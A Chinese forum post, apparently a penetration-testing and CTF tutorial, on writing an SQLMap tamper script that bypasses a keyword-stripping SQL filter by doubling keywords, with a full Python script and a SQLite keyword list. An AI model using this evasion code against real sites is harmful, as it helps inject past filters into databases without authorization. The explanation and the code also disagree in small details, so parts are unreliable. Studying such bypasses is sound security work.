找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2070

积分

0

好友

287

主题
发表于 2025-12-31 01:54:29 | 查看: 24| 回复: 0

在渗透测试或CTF比赛中,有时会遇到对SQL关键字进行过滤的场景。双写绕过是常见的绕过手段之一,例如将SELECT写成SELSELECTECT,在服务器过滤掉中间的SELECT后,剩下的部分仍能组成有效的SELECT。本文将以一次真实的SQLite注入场景为例,分享如何为SQLMap编写一个稳健的双写绕过Tamper脚本,并详细解析其中的技术要点与陷阱。

思路分析

假设目标过滤代码如下,其逻辑是遍历一个SQL关键字黑名单,并使用正则表达式忽略大小写地替换掉这些关键字:

blacklist = ["ABORT", "ACTION", "ADD", ..., "WHERE", "WINDOW", "WITH", "WITHOUT"]
for n in blacklist:
    regex = re.compile(n, re.IGNORECASE)
    username = regex.sub("", username)

起初,我们可能会参考网络上已有的Tamper脚本思路,例如通过正则匹配单词边界,然后在关键字字符串的随机位置插入自身。

for keyword in keywords:
    _ = random.randint(1, len(keyword) - 1)
    retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal)

图:正则表达式在线测试工具匹配关键词OR

但这种简单的随机插入策略存在两个主要问题:

  1. 可能产生新的敏感词:例如将SELECT在位置3插入(SELSELECTECT),会新生成一个黑名单中的单词ELSE,导致后续过滤或SQLMap自身判断出错。
  2. 混淆粒度不匹配:混淆以“单词”为单位,但过滤是以“出现的字符串”为单位。考虑黑名单为['OR', 'ORDER'],原Payload为ORDER。混淆后变为OORRDER,过滤程序会先移除OR,得到ORDER,再移除ORDER,最终得到一个空字符串,导致Payload失效。

因此,一个健壮的双写绕过脚本需要确保:插入自身后,不会在黑名单中生成另一个无关的敏感词;同时,需要处理黑名单关键字之间存在的包含关系(如ORDER包含OR)。

Tamper脚本编写

首先,了解SQLMap Tamper脚本的基本结构:

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    return payload
  • __priority__ 定义脚本优先级。
  • dependencies() 声明脚本的适用条件,可为空。
  • tamper(payload, **kwargs) 是核心函数,负责处理并返回变形后的Payload。

接下来是完整的双写绕过Tamper脚本代码:

#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
    """
    优化的双写绕过,顺序插入并判断是否新组成过滤单词
    比如SELECT,当插入位置为3时为SELSELECTECT,则会生成黑名单列表中另一个单词ELSE造成误判
    在此进行相关判断以保证生成的字符不存在另一个敏感词。

    主要应对:
        blacklist = [...]
        for n in blacklist:
            regex = re.compile(n, re.IGNORECASE)
            username = regex.sub("", username)

    >>> tamper('select 1 or 2 ORDER')
    'selorect 1 oorr 2 OorRDER'
    """

    keywords = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_DATE", "CURRENT_TIME", "CURRENT_TIMESTAMP", "DATABASE", "DEFAULT", "DEFERRABLE", "DEFERRED", "DELETE", "DESC", "DETACH", "DISTINCT", "DO", "DROP", "EACH", "ELSE", "END", "ESCAPE", "EXCEPT", "EXCLUDE", "EXCLUSIVE", "EXISTS", "EXPLAIN", "FAIL", "FILTER", "FIRST", "FOLLOWING", "FOR", "FOREIGN", "FROM", "FULL", "GENERATED", "GLOB", "GROUP", "GROUPS", "HAVING", "IF", "IGNORE", "IMMEDIATE", "INDEX", "INDEXED", "INITIALLY", "INNER", "INSERT", "INSTEAD", "INTERSECT", "INTO", "IS", "ISNULL", "JOIN", "KEY", "LAST", "LEFT", "LIKE", "LIMIT", "MATCH", "MATERIALIZED", "NATURAL", "NO", "NOT", "NOTHING", "NOTNULL", "NULL", "NULLS", "OF", "OFFSET", "ON", "OR", "ORDER", "OTHERS", "OUTER", "OVER", "PARTITION", "PLAN", "PRAGMA", "PRECEDING", "PRIMARY", "QUERY", "RAISE", "RANGE", "RECURSIVE", "REFERENCES", "REGEXP", "REINDEX", "RELEASE", "RENAME", "REPLACE", "RESTRICT", "RETURNING", "RIGHT", "ROLLBACK", "ROW", "ROWS", "SAVEPOINT", "SELECT", "SET", "TABLE", "TEMP", "TEMPORARY", "THEN", "TIES", "TO", "TRANSACTION", "TRIGGER", "UNBOUNDED", "UNION", "UNIQUE", "UPDATE", "USING", "VACUUM", "VALUES", "VIEW", "VIRTUAL", "WHEN", "WHERE", "WINDOW", "WITH", "WITHOUT"]

    retVal = payload

    warnMsg = "当前关键字列表如下,请注意修改:\n"
    warnMsg += "%s" % keywords
    singleTimeWarnMessage(warnMsg)

    if payload:
        for key in reversed(keywords):
            index = keywords.index(key)
            num = 1
            check = True
            while check:
                if num >= len(key):
                    singleTimeWarnMessage('无法绕过双写关键字列表')
                    exit()
                check = False
                repStr = "%s%s%s" % (key[:num], key, key[num:])
                for t in keywords[:index]:
                    if re.search(t, repStr) and not re.search(t, key):
                        check = True
                        break
                num += 1
            retVal = re.sub(key, repStr, retVal, flags=re.I)
    return retVal

代码逻辑解析

  1. 逆序处理关键字 (for key in reversed(keywords):):这是关键。混淆时从长到短(如先处理ORDER,再处理OR),过滤时从短到长(先移除OR,再移除ORDER),可以确保Payload被正确还原。

  2. 寻找安全的插入位置 (while num < len(key) and check:):num代表插入位置。算法从第一个字符后开始尝试插入(num=1),生成双写字符串repStr

  3. 二次安全校验 (for t in keywords[:index]:):检查生成的repStr是否会包含列表中排在当前关键字之前(即更短或顺序靠前)的其他敏感词。例如,处理SELECT时,检查SELSELECTECT是否包含ELSE。如果包含,则该插入位置不安全,check被置为Truenum加1,尝试下一个插入位置。

    • not re.search(t, key) 这个条件是为了避免误判。例如ORDER本身包含OR,这是允许的,我们不能因为ORDER包含OR就认为所有插入位置都不安全。

使用此脚本时,只需将keywords列表替换成实际的黑名单,然后配合SQLMap的--tamper参数使用即可。

图:SQLMap成功利用双写绕过Tamper注入SQLite数据库

一个易踩的坑

请注意re.sub()函数的参数顺序。它的完整签名是re.sub(pattern, repl, string, count=0, flags=0)。在编写时,很容易习惯性地将flags=re.I错误地放在第三个参数位置。

由于re.I的值是2,如果错误地写成了re.sub(key, repStr, re.I),这相当于把整数2当成了要处理的字符串,而将flags参数置为默认值0。程序不会报错,但替换的最大次数(count)被限制为2次,可能导致替换不完整,这个问题调试起来相当耗时。

图:Python re.sub函数签名说明

编写通用的WAF绕过脚本本身充满挑战,需要充分考虑各种边界情况。这也解释了为什么SQLMap没有内置一个“万能”的双写绕过Tamper。在实际的安全攻防与CTF竞赛中,根据具体的过滤逻辑定制化脚本,才是最高效的方法。更多实战技术讨论,欢迎访问云栈社区




上一篇:Spring 7采用JSpecify替代JSR305,统一Java空指针注解标准
下一篇:树莓派CM0邮票孔封装计算模块:中国市场专属的迷你Linux计算机
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-10 18:25 , Processed in 0.217844 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表